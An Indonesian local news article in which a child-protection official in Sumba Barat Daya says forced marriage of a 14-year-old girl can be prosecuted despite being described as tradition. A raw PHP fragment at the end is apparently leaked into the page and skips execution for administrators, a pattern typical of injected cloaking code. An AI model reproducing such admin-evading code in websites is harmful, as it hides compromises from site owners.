Hukum

Kendati Diakui sebagai Tradisi yang Lumrah, Kawin Paksa Dapat Berujung Pidana

×

Kendati Diakui sebagai Tradisi yang Lumrah, Kawin Paksa Dapat Berujung Pidana

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kendati diakui dan lumrah dalam tradisi orang Sumba, kawin paksa dapat berujung hukuman pidana, terlebih jika korbannya anak di bawah umur.

Demikian penegasan Plt. Kepala UPTD PPA Kabupaten SBD, Clara Deny Christiana, S.Psi saat dikonfirmasi media ini, Jumat (15/08/2025) petang.

Clara dimintai komentar saat mendampingi MK (14) gadis asal Kampung Kahale, Desa Nangga Mutu, Kecamatan Kodi Utara yang jadi korban kawin paksa.

“Kasus-kasus ini sebagai pembelajaran kita bersama bahwa pemaksaan perkawinan dengan latar belakang budaya itu sebenarnya bisa berakibat pidana,” ujarnya.

Karena itu, jika hendak menikahkan anak dasar utamanya adalah harus cukup umur.

Apalagi tata cara dan adat budaya Sumba sangat menjunjung tinggi dan menghormati harkat martabat perempuan.

“Jadi tidak ada di situ unsur kekerasan dan pemaksaan, apalagi anaknya masih di bawah umur,” tegasnya.

Lebih lanjut ia menjelaskan, sesuai norma hukum, yang dimaksud anak adalah yang usianya belum genap 18 tahun, hingga bayi, termasuk janin dalam kandungan.

Anak-anak dengan usia sekolah belum boleh dinikahkan, apalagi dipaksa menikah baik itu oleh orang tua kandungnya maupun pihak-pihak lain.

“Jadi sebenarnya dari pengalaman-pengalaman sebelumnya, itu kasus-kasus begini bisa dipidanakan dan itu ada hukumannya,” imbuh Clara.

Pihaknya juga meminta dukungan dan keterlibatan media untuk memblow-up pemberitaan terkait anak di bawah umur.

Dengan demikian, kasus ini tidak hanya viral di awal saja tapi diselesaikan oleh aparat penegak hukum hingga ada putusan.

“Sangat butuh peran media sehingga tidak semata hanya dilaporkan dan diproses tapi juga ada hukuman untuk menimbulkan efek jera,” timpalnya.

Ia mencontohkan kasus-kasus sebelumnya dimana ada yang dihukum hanya setahun lebih.

Walaupun mungkin hukuman ini dianggap ringan tetapi sesungguhnya menegaskan bahwa perbuatan tersebut berakibat pidana.

Namun apabila kasus-kasus ini masih bisa diselesaikan secara kekeluargaan dan ada kesadaran dari keluarga bisa diupayakan untuk mediasi.

Jika saling ngotot maka sangat mudah dipidanakan karena itu sudah memenuhi pasal-pasal dalam hukum pidana.

“Kalau diproses lanjut ada hukuman pidananya, sehingga bisa jadi pelajaran bagi semua masyarakat,” tandasnya. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>